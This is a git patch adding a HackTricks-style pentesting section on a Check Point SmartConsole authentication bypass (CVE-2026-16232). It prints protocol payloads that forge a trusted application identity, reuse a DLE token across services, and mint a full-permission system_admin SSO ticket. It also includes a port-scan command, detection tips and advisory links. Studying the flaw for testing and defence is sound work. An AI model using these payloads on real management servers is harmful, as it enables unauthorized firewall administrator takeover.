From d259167ac05d63c53d30f8f5831fcc0c93722a8e Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Tue, 28 Jul 2026 19:27:15 +0000 Subject: [PATCH] Add content from: Check Point SmartConsole Authentication Bypass Technical Ana... --- .../pentesting-264-check-point-firewall-1.md | 80 ++++++++++++++++++- 1 file changed, 78 insertions(+), 2 deletions(-) diff --git a/src/network-services-pentesting/pentesting-264-check-point-firewall-1.md b/src/network-services-pentesting/pentesting-264-check-point-firewall-1.md index 506f58c1703..d373b4b70d3 100644 --- a/src/network-services-pentesting/pentesting-264-check-point-firewall-1.md +++ b/src/network-services-pentesting/pentesting-264-check-point-firewall-1.md @@ -47,14 +47,14 @@ In practice, `CN` is the gateway object / hostname and `O` commonly maps to the Once `264/TCP` confirms a Check Point device, don't stop at the hostname leak. Use the leaked management name to prioritize the rest of the Check Point control plane: -- Probe the management host and nearby gateway IPs for **443/TCP** and Check Point control channels such as **18190/TCP (CPMI)**, **18191/TCP (CPD)**, **18210/TCP (ICA_PULL)**, **18211/TCP (ICA_PUSH)**, **18231/TCP (Policy Server login)**, and **18264/TCP (ICA_SERVICES)**. +- Probe the management host and nearby gateway IPs for **443/TCP** and Check Point control channels such as **18190/TCP (CPMI)**, **18191/TCP (CPD)**, **18210/TCP (ICA_PULL)**, **18211/TCP (ICA_PUSH)**, **18231/TCP (Policy Server login)**, **18264/TCP (ICA_SERVICES)**, and **19009/TCP (CPM/DLE SOAP SmartConsole services)**. - These ports are frequently reachable only after landing on a VPN segment, jump host, or management VLAN, but `FW1_topo` gives you the names to look for. - If the environment enables **Accept Control Connections**, several of these services are opened automatically by design, so they are worth rescanning from every new foothold. Quick sweep: ```bash -nmap -Pn -sT -p 264,443,18190,18191,18210,18211,18231,18264 +nmap -Pn -sT -p 264,443,18190,18191,18210,18211,18231,18264,19009 ``` If valid administrator credentials are recovered, move from gateway fingerprinting to structured management enumeration. The Check Point **Management API** is scriptable via `mgmt_cli` or HTTPS `web_api` calls: @@ -67,6 +67,79 @@ mgmt_cli logout -s id.txt The output commonly reveals gateway objects, cluster members, management IPs, and other pivot points that are much harder to infer from the firewall itself. Remember that the **Management API** lives on the management server, while the **Gaia API** is a separate HTTPS API for OS-level configuration on the gateway. +## SmartConsole / Security Management Server Authentication Bypass Workflow + +If the leaked management host exposes **18190/TCP** (legacy **CPMI/FWM**) and **19009/TCP** (**CPM/DLE** SOAP under `/cpmws/`), treat them as a chained trust surface rather than as two unrelated services. SmartConsole logins cross both protocols, so a trust-boundary bug in native application authentication can become a full GUI administrator session. + +### Application-layer SIC identity override + +During SIC bootstrap, the management server exposes its own SIC DN (for example `cn=cp_mgmt,o=`). A vulnerable implementation may later accept a second DN inside an FwSet application bind and use that attacker-controlled string as the effective remote identity instead of the TLS-authenticated certificate DN. If that happens, a remote client can impersonate trusted internal applications such as `CPM Server` without loading a matching client certificate. + +```text +( + :local_bind (0) + :token_bind (0) + :DN ("cn=cp_mgmt,o=") + :certificate_bind (1) + :application_login ("CPM Server") + :client_without_administrator (true) +) +``` + +This is a good generic review pattern for proprietary management protocols: if both a transport-authenticated identity and an application-layer claimed identity exist, authorization must bind to the transport identity, not to the replayable field carried inside the protocol body. + +### Cross-protocol token reuse + +After a forged application bind, the attacker can ask the legacy service to `open-database` and recover a **43-character DLE token** from the binary FwSet response. In the vulnerable SmartConsole flow, that token is also accepted by the newer SOAP service as the `DLESESSIONID` header, turning a native session into authenticated access to selected `/cpmws/` methods. + +```text +( + :type (command) + :subject (open-database) + :body (:Name () :db_open_reason () :dle_session_id () :database () :db_open_id ("(nil)")) + :no-reply (false) +) +``` + +If a product has both a legacy binary control plane and a newer HTTP/SOAP/REST layer, always test whether tokens minted by the old service are silently honored by the new one. + +### Abusing privileged SSO ticket minting + +Once the forged native session is treated as a configuration administrator, request a SmartConsole SSO ticket before normal permission-mask enforcement. In the vulnerable path, setting `:soap_local_bind (1)` and an all-bits-set permission bitmap produces a full-permission ticket for `system_admin`. + +```text +( + :type (command) + :subject (gen-sso-token) + :body ( + :type (SmartConsole) + :sso_original_client (SmartConsole :lower_name (system_admin) :soap_local_bind (1) :permissions ("ffffffff|ffffffff|ffffffff")) + ) +) +``` + +Redeem the returned ticket through the normal SOAP login endpoint and capture the resulting SmartConsole session identifiers: + +```xml + + + SmartConsole + + system_admin + + + + +``` + +A successful response returns `sid` and `clientSessionId`. A good validation trick is to compare the same protected SOAP method before and after ticket redemption: the application token may authenticate some queries while exposing a reduced result set, while the redeemed SmartConsole session exposes full administrator data. + +### Detection and quick validation + +- Check audit logs for SmartConsole events containing `Authentication method: application token`. +- Unexpected `system_admin` logins coming from non-management hosts or unusual application identities are high-signal. +- A fast validator is to complete the minimum SIC bootstrap and attempt an application bind with a trusted `:DN` **without** loading any client certificate. Patched implementations should reject the bind before issuing any DLE or SSO token. + ## Recent Authenticated Management-Plane Abuse A useful modern follow-up to `264/TCP` discovery is testing whether the leaked management host exposes an outdated **Gaia Portal**. @@ -129,4 +202,7 @@ Compromise of the proxy grants code execution inside the firewall process (SYSTE - [http://xforce.iss.net/xforce/alerts/id/162](http://xforce.iss.net/xforce/alerts/id/162) - [https://support.checkpoint.com/results/sk/sk62692](https://support.checkpoint.com/results/sk/sk62692) - [https://support.checkpoint.com/results/sk/sk181311](https://support.checkpoint.com/results/sk/sk181311) +- [Rapid7: Check Point SmartConsole Authentication Bypass Technical Analysis (CVE-2026-16232)](https://www.rapid7.com/blog/post/ra-check-point-smartconsole-authentication-bypass-technical-analysis-cve-2026-16232/) +- [Rapid7 PoC: sfewer-r7/CVE-2026-16232](https://github.com/sfewer-r7/CVE-2026-16232) +- [Check Point Advisory: sk185169](https://support.checkpoint.com/results/sk/sk185169/) {{#include ../banners/hacktricks-training.md}}